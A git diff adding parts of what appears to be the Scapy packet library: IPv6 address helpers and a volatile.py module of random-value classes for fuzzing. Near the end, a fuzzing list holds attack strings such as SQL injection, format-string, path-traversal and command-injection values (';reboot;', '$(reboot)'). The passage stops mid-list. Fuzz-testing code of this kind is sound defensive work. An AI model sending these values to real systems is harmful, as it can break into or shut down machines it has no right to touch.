+def in6_6to4ExtractAddr(addr):
+    """
+    Extract IPv4 address embedded in 6to4 address. Passed address must be
+    a 6to4 address. None is returned on error.
+    """
+    try:
+        addr = inet_pton(socket.AF_INET6, addr)
+    except:
+        return None
+    if addr[:2] != b" \x02":
+        return None
+    return inet_ntop(socket.AF_INET, addr[2:6])
+    
+
+def in6_getLocalUniquePrefix():
+    """
+    Returns a pseudo-randomly generated Local Unique prefix. Function
+    follows recommendation of Section 3.2.2 of RFC 4193 for prefix
+    generation.
+    """
+    # Extracted from RFC 1305 (NTP) :
+    # NTP timestamps are represented as a 64-bit unsigned fixed-point number, 
+    # in seconds relative to 0h on 1 January 1900. The integer part is in the 
+    # first 32 bits and the fraction part in the last 32 bits.
+
+    # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) 
+    # x = time.time()
+    # from time import gmtime, strftime, gmtime, mktime
+    # delta = mktime(gmtime(0)) - mktime(self.epoch)
+    # x = x-delta
+
+    tod = time.time() # time of day. Will bother with epoch later
+    i = int(tod)
+    j = int((tod - i)*(2**32))
+    tod = struct.pack("!II", i,j)
+    mac = RandMAC()
+    # construct modified EUI-64 ID
+    eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(mac))[8:] 
+    import hashlib
+    globalid = hashlib.sha1(tod+eui64).digest()[:5]
+    return inet_ntop(socket.AF_INET6, b'\xfd' + globalid + b'\x00'*10)
+
+def in6_getRandomizedIfaceId(ifaceid, previous=None):
+    """
+    Implements the interface ID generation algorithm described in RFC 3041.
+    The function takes the Modified EUI-64 interface identifier generated
+    as described in RFC 4291 and an optional previous history value (the
+    first element of the output of this function). If no previous interface
+    identifier is provided, a random one is generated. The function returns
+    a tuple containing the randomized interface identifier and the history
+    value (for possible future use). Input and output values are provided in
+    a "printable" format as depicted below.
+    
+    ex: 
+    >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3')
+    ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092')
+    >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3',
+                                 previous='d006:d540:db11:b092')
+    ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e')
+    """
+
+    s = b""
+    if previous is None:
+        d = b"".join(chb(x) for x in range(256))
+        for _ in range(8):
+            s += chb(random.choice(d))
+        previous = s
+    s = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:] + previous
+    import hashlib
+    s = hashlib.md5(s).digest()
+    s1,s2 = s[:8],s[8:]
+    s1 = chb(orb(s1[0]) | 0x04) + s1[1:]
+    s1 = inet_ntop(socket.AF_INET6, b"\xff"*8 + s1)[20:]
+    s2 = inet_ntop(socket.AF_INET6, b"\xff"*8 + s2)[20:]    
+    return (s1, s2)
+
+
+_rfc1924map = [ '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E',
+                'F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T',
+                'U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i',
+                'j','k','l','m','n','o','p','q','r','s','t','u','v','w','x',
+                'y','z','!','#','$','%','&','(',')','*','+','-',';','<','=',
+                '>','?','@','^','_','`','{','|','}','~' ]
+
+def in6_ctop(addr):
+    """
+    Convert an IPv6 address in Compact Representation Notation 
+    (RFC 1924) to printable representation ;-)
+    Returns None on error.
+    """
+    if len(addr) != 20 or not reduce(lambda x,y: x and y, 
+                                     [x in _rfc1924map for x in addr]):
+        return None
+    i = 0
+    for c in addr:
+        j = _rfc1924map.index(c)
+        i = 85*i + j
+    res = []
+    for j in range(4):
+        res.append(struct.pack("!I", i%2**32))
+        i = i//(2**32)
+    res.reverse()
+    return inet_ntop(socket.AF_INET6, b"".join(res))
+
+def in6_ptoc(addr):
+    """
+    Converts an IPv6 address in printable representation to RFC 
+    1924 Compact Representation ;-) 
+    Returns None on error.
+    """    
+    try:
+        d=struct.unpack("!IIII", inet_pton(socket.AF_INET6, addr))
+    except:
+        return None
+    res = 0
+    m = [2**96, 2**64, 2**32, 1]
+    for i in range(4):
+        res += d[i]*m[i]
+    rem = res
+    res = []
+    while rem:
+        res.append(_rfc1924map[rem%85])
+        rem = rem//85
+    res.reverse()
+    return "".join(res)
+
+    
+def in6_isaddr6to4(x):
+    """
+    Return True if provided address (in printable format) is a 6to4
+    address (being in 2002::/16).
+    """
+    x = inet_pton(socket.AF_INET6, x)
+    return x[:2] == b' \x02'
+
+conf.teredoPrefix = "2001::" # old one was 3ffe:831f (it is a /32)
+conf.teredoServerPort = 3544
+
+def in6_isaddrTeredo(x):
+    """
+    Return True if provided address is a Teredo, meaning it is under 
+    the /32 conf.teredoPrefix prefix value (by default, 2001::).
+    Otherwise, False is returned. Address must be passed in printable
+    format.
+    """
+    our = inet_pton(socket.AF_INET6, x)[0:4]
+    teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4]
+    return teredoPrefix == our
+
+def teredoAddrExtractInfo(x):
+    """
+    Extract information from a Teredo address. Return value is 
+    a 4-tuple made of IPv4 address of Teredo server, flag value (int),
+    mapped address (non obfuscated) and mapped port (non obfuscated).
+    No specific checks are performed on passed address.
+    """
+    addr = inet_pton(socket.AF_INET6, x)
+    server = inet_ntop(socket.AF_INET, addr[4:8])
+    flag = struct.unpack("!H",addr[8:10])[0]
+    mappedport = struct.unpack("!H",strxor(addr[10:12],b'\xff'*2))[0] 
+    mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16],b'\xff'*4))
+    return server, flag, mappedaddr, mappedport
+
+def in6_iseui64(x):
+    """
+    Return True if provided address has an interface identifier part
+    created in modified EUI-64 format (meaning it matches *::*:*ff:fe*:*). 
+    Otherwise, False is returned. Address must be passed in printable
+    format.
+    """
+    eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0')
+    x = in6_and(inet_pton(socket.AF_INET6, x), eui64)
+    return x == eui64
+
+def in6_isanycast(x): # RFC 2526
+    if in6_iseui64(x):
+        s = '::fdff:ffff:ffff:ff80'
+        packed_x = inet_pton(socket.AF_INET6, x)
+        packed_s = inet_pton(socket.AF_INET6, s)
+        x_and_s = in6_and(packed_x, packed_s) 
+        return x_and_s == packed_s
+    else:
+        # not EUI-64 
+        #|              n bits             |    121-n bits    |   7 bits   |
+        #+---------------------------------+------------------+------------+
+        #|           subnet prefix         | 1111111...111111 | anycast ID |
+        #+---------------------------------+------------------+------------+
+        #                                  |   interface identifier field  |
+        warning('in6_isanycast(): TODO not EUI-64')
+        return 0
+
+def _in6_bitops(a1, a2, operator=0):
+    a1 = struct.unpack('4I', a1)
+    a2 = struct.unpack('4I', a2)
+    fop = [ lambda x,y: x | y,
+            lambda x,y: x & y,
+            lambda x,y: x ^ y
+          ]
+    ret = map(fop[operator%len(fop)], a1, a2)
+    return b"".join(struct.pack('I', x) for x in ret)
+
+def in6_or(a1, a2):
+    """
+    Provides a bit to bit OR of provided addresses. They must be 
+    passed in network format. Return value is also an IPv6 address
+    in network format.
+    """
+    return _in6_bitops(a1, a2, 0)
+
+def in6_and(a1, a2):
+    """
+    Provides a bit to bit AND of provided addresses. They must be 
+    passed in network format. Return value is also an IPv6 address
+    in network format.
+    """
+    return _in6_bitops(a1, a2, 1)
+
+def in6_xor(a1, a2):
+    """
+    Provides a bit to bit XOR of provided addresses. They must be 
+    passed in network format. Return value is also an IPv6 address
+    in network format.
+    """
+    return _in6_bitops(a1, a2, 2)
+
+def in6_cidr2mask(m):
+    """
+    Return the mask (bitstring) associated with provided length 
+    value. For instance if function is called on 48, return value is
+    b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'.
+    
+    """
+    if m > 128 or m < 0:
+        raise Scapy_Exception("value provided to in6_cidr2mask outside [0, 128] domain (%d)" % m)
+
+    t = []
+    for i in range(0, 4):
+        t.append(max(0, 2**32  - 2**(32-min(32, m))))
+        m -= 32
+
+    return b"".join(struct.pack('!I', x) for x in t)
+
+def in6_getnsma(a): 
+    """
+    Return link-local solicited-node multicast address for given
+    address. Passed address must be provided in network format.
+    Returned value is also in network format.
+    """
+
+    r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff'))
+    r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r)
+    return r
+
+def in6_getnsmac(a): # return multicast Ethernet address associated with multicast v6 destination
+    """
+    Return the multicast mac address associated with provided
+    IPv6 address. Passed address must be in network format. 
+    """
+
+    a = struct.unpack('16B', a)[-4:]
+    mac = '33:33:'
+    mac += ':'.join("%.2x" %x for x in a)
+    return mac
+
+def in6_getha(prefix): 
+    """
+    Return the anycast address associated with all home agents on a given
+    subnet.
+    """
+    r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64))
+    r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe'))
+    return inet_ntop(socket.AF_INET6, r)
+
+def in6_ptop(str): 
+    """
+    Normalizes IPv6 addresses provided in printable format, returning the 
+    same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1)
+    """
+    return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, str))
+
+def in6_isincluded(addr, prefix, plen):
+    """
+    Returns True when 'addr' belongs to prefix/plen. False otherwise.
+    """
+    temp = inet_pton(socket.AF_INET6, addr)
+    pref = in6_cidr2mask(plen)
+    zero = inet_pton(socket.AF_INET6, prefix)
+    return zero == in6_and(temp, pref)
+
+def in6_isllsnmaddr(str):
+    """
+    Return True if provided address is a link-local solicited node
+    multicast address, i.e. belongs to ff02::1:ff00:0/104. False is
+    returned otherwise.
+    """
+    temp = in6_and(b"\xff"*13+b"\x00"*3, inet_pton(socket.AF_INET6, str))
+    temp2 = b'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00'
+    return temp == temp2
+
+def in6_isdocaddr(str):
+    """
+    Returns True if provided address in printable format belongs to
+    2001:db8::/32 address space reserved for documentation (as defined 
+    in RFC 3849).
+    """
+    return in6_isincluded(str, '2001:db8::', 32)
+
+def in6_islladdr(str):
+    """
+    Returns True if provided address in printable format belongs to
+    _allocated_ link-local unicast address space (fe80::/10)
+    """
+    return in6_isincluded(str, 'fe80::', 10)
+
+def in6_issladdr(str):
+    """
+    Returns True if provided address in printable format belongs to
+    _allocated_ site-local address space (fec0::/10). This prefix has 
+    been deprecated, address being now reserved by IANA. Function 
+    will remain for historic reasons.
+    """
+    return in6_isincluded(str, 'fec0::', 10)
+
+def in6_isuladdr(str):
+    """
+    Returns True if provided address in printable format belongs to
+    Unique local address space (fc00::/7).
+    """
+    return in6_isincluded(str, 'fc00::', 7)
+
+# TODO : we should see the status of Unique Local addresses against
+#        global address space.
+#        Up-to-date information is available through RFC 3587. 
+#        We should review function behavior based on its content.
+def in6_isgladdr(str):
+    """
+    Returns True if provided address in printable format belongs to
+    _allocated_ global address space (2000::/3). Please note that,
+    Unique Local addresses (FC00::/7) are not part of global address
+    space, and won't match.
+    """
+    return in6_isincluded(str, '2000::', 3)
+
+def in6_ismaddr(str):
+    """
+    Returns True if provided address in printable format belongs to 
+    allocated Multicast address space (ff00::/8).
+    """
+    return in6_isincluded(str, 'ff00::', 8)
+
+def in6_ismnladdr(str):
+    """
+    Returns True if address belongs to node-local multicast address
+    space (ff01::/16) as defined in RFC 
+    """
+    return in6_isincluded(str, 'ff01::', 16)
+
+def in6_ismgladdr(str):
+    """
+    Returns True if address belongs to global multicast address
+    space (ff0e::/16).
+    """
+    return in6_isincluded(str, 'ff0e::', 16)
+
+def in6_ismlladdr(str):
+    """
+    Returns True if address belongs to link-local multicast address
+    space (ff02::/16)
+    """
+    return in6_isincluded(str, 'ff02::', 16)
+
+def in6_ismsladdr(str):
+    """
+    Returns True if address belongs to site-local multicast address
+    space (ff05::/16). Site local address space has been deprecated.
+    Function remains for historic reasons.
+    """
+    return in6_isincluded(str, 'ff05::', 16)
+
+def in6_isaddrllallnodes(str):
+    """
+    Returns True if address is the link-local all-nodes multicast 
+    address (ff02::1). 
+    """
+    return (inet_pton(socket.AF_INET6, "ff02::1") ==
+            inet_pton(socket.AF_INET6, str))
+
+def in6_isaddrllallservers(str):
+    """
+    Returns True if address is the link-local all-servers multicast 
+    address (ff02::2). 
+    """
+    return (inet_pton(socket.AF_INET6, "ff02::2") ==
+            inet_pton(socket.AF_INET6, str))
+
+def in6_getscope(addr):
+    """
+    Returns the scope of the address.
+    """
+    if in6_isgladdr(addr) or in6_isuladdr(addr):
+        scope = IPV6_ADDR_GLOBAL
+    elif in6_islladdr(addr):
+        scope = IPV6_ADDR_LINKLOCAL
+    elif in6_issladdr(addr):
+        scope = IPV6_ADDR_SITELOCAL
+    elif in6_ismaddr(addr):
+        if in6_ismgladdr(addr):
+            scope = IPV6_ADDR_GLOBAL
+        elif in6_ismlladdr(addr):
+            scope = IPV6_ADDR_LINKLOCAL
+        elif in6_ismsladdr(addr):
+            scope = IPV6_ADDR_SITELOCAL
+        elif in6_ismnladdr(addr):
+            scope = IPV6_ADDR_LOOPBACK
+        else:
+            scope = -1
+    elif addr == '::1':
+        scope = IPV6_ADDR_LOOPBACK
+    else:
+        scope = -1
+    return scope
+
+def in6_get_common_plen(a, b):
+    """
+    Return common prefix length of IPv6 addresses a and b.
+    """
+    def matching_bits(byte1, byte2):
+        for i in range(8):
+            cur_mask = 0x80 >> i
+            if (byte1 & cur_mask) != (byte2 & cur_mask):
+                return i
+        return 8
+        
+    tmpA = inet_pton(socket.AF_INET6, a)
+    tmpB = inet_pton(socket.AF_INET6, b)
+    for i in range(16):
+        mbits = matching_bits(orb(tmpA[i]), orb(tmpB[i]))
+        if mbits != 8:
+            return 8*i + mbits
+    return 128
+
+def in6_isvalid(address):
+    """Return True if 'address' is a valid IPv6 address string, False
+       otherwise."""
+
+    try:
+        socket.inet_pton(socket.AF_INET6, address)
+        return True
+    except:
+        return False
diff --git a/scapy/volatile.py b/scapy/volatile.py
new file mode 100644
index 0000000..0e963db
--- /dev/null
+++ b/scapy/volatile.py
@@ -0,0 +1,735 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Fields that hold random numbers.
+"""
+
+from __future__ import absolute_import
+import random,time,math
+from scapy.base_classes import Net
+from scapy.compat import *
+from scapy.utils import corrupt_bits,corrupt_bytes
+from scapy.modules.six.moves import range
+
+####################
+## Random numbers ##
+####################
+
+
+class RandomEnumeration:
+    """iterate through a sequence in random order.
+       When all the values have been drawn, if forever=1, the drawing is done again.
+       If renewkeys=0, the draw will be in the same order, guaranteeing that the same
+       number will be drawn in not less than the number of integers of the sequence"""
+    def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0):
+        self.forever = forever
+        self.renewkeys = renewkeys
+        self.inf = inf
+        self.rnd = random.Random(seed)
+        self.sbox_size = 256
+
+        self.top = sup-inf+1
+    
+        n=0
+        while (1<<n) < self.top:
+            n += 1
+        self.n =n
+
+        self.fs = min(3,(n+1)//2)
+        self.fsmask = 2**self.fs-1
+        self.rounds = max(self.n,3)
+        self.turns = 0
+        self.i = 0
+
+    def __iter__(self):
+        return self
+    def next(self):
+        while True:
+            if self.turns == 0 or (self.i == 0 and self.renewkeys):
+                self.cnt_key = self.rnd.randint(0,2**self.n-1)
+                self.sbox = [self.rnd.randint(0, self.fsmask)
+                             for _ in range(self.sbox_size)]
+            self.turns += 1
+            while self.i < 2**self.n:
+                ct = self.i^self.cnt_key
+                self.i += 1
+                for _ in range(self.rounds): # Unbalanced Feistel Network
+                    lsb = ct & self.fsmask
+                    ct >>= self.fs
+                    lsb ^= self.sbox[ct%self.sbox_size]
+                    ct |= lsb << (self.n-self.fs)
+                
+                if ct < self.top:
+                    return self.inf+ct
+            self.i = 0
+            if not self.forever:
+                raise StopIteration
+    __next__ = next
+
+
+class VolatileValue:
+    def __repr__(self):
+        return "<%s>" % self.__class__.__name__
+    def __eq__(self, other):
+        x = self._fix()
+        y = other._fix() if isinstance(other, VolatileValue) else other
+        if not isinstance(x, type(y)):
+            return False
+        return x == y
+    def __getattr__(self, attr):
+        if attr in ["__setstate__", "__getstate__"]:
+            raise AttributeError(attr)
+        return getattr(self._fix(),attr)
+    def __str__(self):
+        return str(self._fix())
+    def __bytes__(self):
+        return raw(self._fix())
+    def __len__(self):
+        return len(self._fix())
+
+    def _fix(self):
+        return None
+
+
+class RandField(VolatileValue):
+    pass
+
+class RandNum(RandField):
+    """Instances evaluate to random integers in selected range"""
+    min = 0
+    max = 0
+    def __init__(self, min, max):
+        self.min = min
+        self.max = max
+    def _fix(self):
+        return random.randrange(self.min, self.max+1)
+
+    def __int__(self):
+        return int(self._fix())
+    def __index__(self):
+        return int(self)
+    def __add__(self, other):
+        return self._fix() + other
+    def __radd__(self, other):
+        return other + self._fix()
+    def __sub__(self, other):
+        return self._fix() - other
+    def __rsub__(self, other):
+        return other - self._fix()
+    def __mul__(self, other):
+        return self._fix() * other
+    def __rmul__(self, other):
+        return other * self._fix()
+    def __floordiv__(self, other):
+        return self._fix() / other
+    __div__ = __floordiv__
+
+class RandNumGamma(RandNum):
+    def __init__(self, alpha, beta):
+        self.alpha = alpha
+        self.beta = beta
+    def _fix(self):
+        return int(round(random.gammavariate(self.alpha, self.beta)))
+
+class RandNumGauss(RandNum):
+    def __init__(self, mu, sigma):
+        self.mu = mu
+        self.sigma = sigma
+    def _fix(self):
+        return int(round(random.gauss(self.mu, self.sigma)))
+
+class RandNumExpo(RandNum):
+    def __init__(self, lambd, base=0):
+        self.lambd = lambd
+        self.base = base
+    def _fix(self):
+        return self.base+int(round(random.expovariate(self.lambd)))
+
+class RandEnum(RandNum):
+    """Instances evaluate to integer sampling without replacement from the given interval"""
+    def __init__(self, min, max, seed=None):
+        self.seq = RandomEnumeration(min,max,seed)
+    def _fix(self):
+        return next(self.seq)
+
+class RandByte(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, 0, 2**8-1)
+
+class RandSByte(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, -2**7, 2**7-1)
+
+class RandShort(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, 0, 2**16-1)
+
+class RandSShort(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, -2**15, 2**15-1)
+
+class RandInt(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, 0, 2**32-1)
+
+class RandSInt(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, -2**31, 2**31-1)
+
+class RandLong(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, 0, 2**64-1)
+
+class RandSLong(RandNum):
+    def __init__(self):
+        RandNum.__init__(self, -2**63, 2**63-1)
+
+class RandEnumByte(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, 0, 2**8-1)
+
+class RandEnumSByte(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, -2**7, 2**7-1)
+
+class RandEnumShort(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, 0, 2**16-1)
+
+class RandEnumSShort(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, -2**15, 2**15-1)
+
+class RandEnumInt(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, 0, 2**32-1)
+
+class RandEnumSInt(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, -2**31, 2**31-1)
+
+class RandEnumLong(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, 0, 2**64-1)
+
+class RandEnumSLong(RandEnum):
+    def __init__(self):
+        RandEnum.__init__(self, -2**63, 2**63-1)
+
+class RandEnumKeys(RandEnum):
+    """Picks a random value from dict keys list. """
+    def __init__(self, enum, seed=None):
+        self.enum = list(enum)
+        self.seq = RandomEnumeration(0, len(self.enum) - 1, seed)
+
+    def _fix(self):
+        return self.enum[next(self.seq)]
+
+class RandChoice(RandField):
+    def __init__(self, *args):
+        if not args:
+            raise TypeError("RandChoice needs at least one choice")
+        self._choice = args
+    def _fix(self):
+        return random.choice(self._choice)
+    
+class RandString(RandField):
+    def __init__(self, size=None, chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"):
+        if size is None:
+            size = RandNumExpo(0.01)
+        self.size = size
+        self.chars = chars
+    def _fix(self):
+        s = ""
+        for _ in range(self.size):
+            s += random.choice(self.chars)
+        return s
+    def __mul__(self, n):
+        return self._fix()*n
+
+class RandBin(RandString):
+    def __init__(self, size=None):
+        RandString.__init__(self, size, "".join(map(chr, range(256))))
+
+
+class RandTermString(RandString):
+    def __init__(self, size, term):
+        RandString.__init__(self, size, "".join(map(chr, range(1,256))))
+        self.term = term
+    def _fix(self):
+        return RandString._fix(self)+self.term
+
+    def __str__(self):
+        return str(self._fix())
+
+    def __bytes__(self):
+        return raw(self._fix())
+    
+
+class RandIP(RandString):
+    def __init__(self, iptemplate="0.0.0.0/0"):
+        self.ip = Net(iptemplate)
+    def _fix(self):
+        return self.ip.choice()
+
+class RandMAC(RandString):
+    def __init__(self, template="*"):
+        template += ":*:*:*:*:*"
+        template = template.split(":")
+        self.mac = ()
+        for i in range(6):
+            if template[i] == "*":
+                v = RandByte()
+            elif "-" in template[i]:
+                x,y = template[i].split("-")
+                v = RandNum(int(x,16), int(y,16))
+            else:
+                v = int(template[i],16)
+            self.mac += (v,)
+    def _fix(self):
+        return "%02x:%02x:%02x:%02x:%02x:%02x" % self.mac
+    
+class RandIP6(RandString):
+    def __init__(self, ip6template="**"):
+        self.tmpl = ip6template
+        self.sp = self.tmpl.split(":")
+        for i,v in enumerate(self.sp):
+            if not v or v == "**":
+                continue
+            if "-" in v:
+                a,b = v.split("-")
+            elif v == "*":
+                a=b=""
+            else:
+                a=b=v
+
+            if not a:
+                a = "0"
+            if not b:
+                b = "ffff"
+            if a==b:
+                self.sp[i] = int(a,16)
+            else:
+                self.sp[i] = RandNum(int(a,16), int(b,16))
+        self.variable = "" in self.sp
+        self.multi = self.sp.count("**")
+    def _fix(self):
+        done = 0
+        nbm = self.multi
+        ip = []
+        for i,n in enumerate(self.sp):
+            if n == "**":
+                nbm -= 1
+                remain = 8-(len(self.sp)-i-1)-len(ip)+nbm
+                if "" in self.sp:
+                    remain += 1
+                if nbm or self.variable:
+                    remain = random.randint(0,remain)
+                for j in range(remain):
+                    ip.append("%04x" % random.randint(0,65535))
+            elif isinstance(n, RandNum):
+                ip.append("%04x" % n)
+            elif n == 0:
+              ip.append("0")
+            elif not n:
+                ip.append("")
+            else:
+                ip.append("%04x" % n)
+        if len(ip) == 9:
+            ip.remove("")
+        if ip[-1] == "":
+          ip[-1] = "0"
+        return ":".join(ip)
+
+class RandOID(RandString):
+    def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)):
+        self.ori_fmt = fmt
+        if fmt is not None:
+            fmt = fmt.split(".")
+            for i in range(len(fmt)):
+                if "-" in fmt[i]:
+                    fmt[i] = tuple(map(int, fmt[i].split("-")))
+        self.fmt = fmt
+        self.depth = depth
+        self.idnum = idnum
+    def __repr__(self):
+        if self.ori_fmt is None:
+            return "<%s>" % self.__class__.__name__
+        else:
+            return "<%s [%s]>" % (self.__class__.__name__, self.ori_fmt)
+    def _fix(self):
+        if self.fmt is None:
+            return ".".join(str(self.idnum) for _ in range(1 + self.depth))
+        else:
+            oid = []
+            for i in self.fmt:
+                if i == "*":
+                    oid.append(str(self.idnum))
+                elif i == "**":
+                    oid += [str(self.idnum) for i in range(1 + self.depth)]
+                elif isinstance(i, tuple):
+                    oid.append(str(random.randrange(*i)))
+                else:
+                    oid.append(i)
+            return ".".join(oid)
+            
+
+class RandRegExp(RandField):
+    def __init__(self, regexp, lambda_=0.3,):
+        self._regexp = regexp
+        self._lambda = lambda_
+
+    @staticmethod
+    def choice_expand(s): #XXX does not support special sets like (ex ':alnum:')
+        m = ""
+        invert = s and s[0] == "^"
+        while True:
+            p = s.find("-")
+            if p < 0:
+                break
+            if p == 0 or p == len(s)-1:
+                m = "-"
+                if p:
+                    s = s[:-1]
+                else:
+                    s = s[1:]
+            else:
+                c1 = s[p-1]
+                c2 = s[p+1]
+                rng = "".join(map(chr, range(ord(c1), ord(c2)+1)))
+                s = s[:p-1]+rng+s[p+1:]
+        res = m+s
+        if invert:
+            res = "".join(chr(x) for x in range(256) if chr(x) not in res)
+        return res
+
+    @staticmethod
+    def stack_fix(lst, index):
+        r = ""
+        mul = 1
+        for e in lst:
+            if isinstance(e, list):
+                if mul != 1:
+                    mul = mul-1
+                    r += RandRegExp.stack_fix(e[1:]*mul, index)
+                # only the last iteration should be kept for back reference
+                f = RandRegExp.stack_fix(e[1:], index)
+                for i,idx in enumerate(index):
+                    if e is idx:
+                        index[i] = f
+                r += f
+                mul = 1
+            elif isinstance(e, tuple):
+                kind,val = e
+                if kind == "cite":
+                    r += index[val-1]
+                elif kind == "repeat":
+                    mul = val
+
+                elif kind == "choice":
+                    if mul == 1:
+                        c = random.choice(val)
+                        r += RandRegExp.stack_fix(c[1:], index)
+                    else:
+                        r += RandRegExp.stack_fix([e]*mul, index)
+                        mul = 1
+            else:
+                if mul != 1:
+                    r += RandRegExp.stack_fix([e]*mul, index)
+                    mul = 1
+                else:
+                    r += str(e)
+        return r
+
+    def _fix(self):
+        stack = [None]
+        index = []
+        current = stack
+        i = 0
+        ln = len(self._regexp)
+        interp = True
+        while i < ln:
+            c = self._regexp[i]
+            i+=1
+            
+            if c == '(':
+                current = [current]
+                current[0].append(current)
+            elif c == '|':
+                p = current[0]
+                ch = p[-1]
+                if not isinstance(ch, tuple):
+                    ch = ("choice",[current])
+                    p[-1] = ch
+                else:
+                    ch[1].append(current)
+                current = [p]
+            elif c == ')':
+                ch = current[0][-1]
+                if isinstance(ch, tuple):
+                    ch[1].append(current)
+                index.append(current)
+                current = current[0]
+            elif c == '[' or c == '{':
+                current = [current]
+                current[0].append(current)
+                interp = False
+            elif c == ']':
+                current = current[0]
+                choice = RandRegExp.choice_expand("".join(current.pop()[1:]))
+                current.append(RandChoice(*list(choice)))
+                interp = True
+            elif c == '}':
+                current = current[0]
+                num = "".join(current.pop()[1:])
+                e = current.pop()
+                if "," not in num:
+                    n = int(num)
+                    current.append([current]+[e]*n)
+                else:
+                    num_min,num_max = num.split(",")
+                    if not num_min:
+                        num_min = "0"
+                    if num_max:
+                        n = RandNum(int(num_min),int(num_max))
+                    else:
+                        n = RandNumExpo(self._lambda,base=int(num_min))
+                    current.append(("repeat",n))
+                    current.append(e)
+                interp = True
+            elif c == '\\':
+                c = self._regexp[i]
+                if c == "s":
+                    c = RandChoice(" ","\t")
+                elif c in "0123456789":
+                    c = ("cite",ord(c)-0x30)
+                current.append(c)
+                i += 1
+            elif not interp:
+                current.append(c)
+            elif c == '+':
+                e = current.pop()
+                current.append([current]+[e]*(int(random.expovariate(self._lambda))+1))
+            elif c == '*':
+                e = current.pop()
+                current.append([current]+[e]*int(random.expovariate(self._lambda)))
+            elif c == '?':
+                if random.randint(0,1):
+                    current.pop()
+            elif c == '.':
+                current.append(RandChoice(*[chr(x) for x in range(256)]))
+            elif c == '$' or c == '^':
+                pass
+            else:
+                current.append(c)
+
+        return RandRegExp.stack_fix(stack[1:], index)
+    def __repr__(self):
+        return "<%s [%r]>" % (self.__class__.__name__, self._regexp)
+
+class RandSingularity(RandChoice):
+    pass
+                
+class RandSingNum(RandSingularity):
+    @staticmethod
+    def make_power_of_two(end):
+        sign = 1
+        if end == 0: 
+            end = 1
+        if end < 0:
+            end = -end
+            sign = -1
+        end_n = int(math.log(end)/math.log(2))+1
+        return {sign*2**i for i in range(end_n)}
+        
+    def __init__(self, mn, mx):
+        sing = {0, mn, mx, int((mn+mx)/2)}
+        sing |= self.make_power_of_two(mn)
+        sing |= self.make_power_of_two(mx)
+        for i in sing.copy():
+            sing.add(i+1)
+            sing.add(i-1)
+        for i in sing.copy():
+            if not mn <= i <= mx:
+                sing.remove(i)
+        self._choice = list(sing)
+        self._choice.sort()
+        
+
+class RandSingByte(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, 0, 2**8-1)
+
+class RandSingSByte(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, -2**7, 2**7-1)
+
+class RandSingShort(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, 0, 2**16-1)
+
+class RandSingSShort(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, -2**15, 2**15-1)
+
+class RandSingInt(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, 0, 2**32-1)
+
+class RandSingSInt(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, -2**31, 2**31-1)
+
+class RandSingLong(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, 0, 2**64-1)
+
+class RandSingSLong(RandSingNum):
+    def __init__(self):
+        RandSingNum.__init__(self, -2**63, 2**63-1)
+
+class RandSingString(RandSingularity):
+    def __init__(self):
+        self._choice = [ "",
+                         "%x",
+                         "%%",
+                         "%s",
+                         "%i",
+                         "%n",
+                         "%x%x%x%x%x%x%x%x%x",
+                         "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s",
+                         "%",
+                         "%%%",
+                         "A"*4096,
+                         b"\x00"*4096,
+                         b"\xff"*4096,
+                         b"\x7f"*4096,
+                         b"\x80"*4096,
+                         " "*4096,
+                         "\\"*4096,
+                         "("*4096,
+                         "../"*1024,
+                         "/"*1024,
+                         "${HOME}"*512,
+                         " or 1=1 --",
+                         "' or 1=1 --",
+                         '" or 1=1 --',
+                         " or 1=1; #",
+                         "' or 1=1; #",
+                         '" or 1=1; #',
+                         ";reboot;",
+                         "$(reboot)",
+                         "`reboot`",
+                         "index.php%00",
+                         b"\x00",
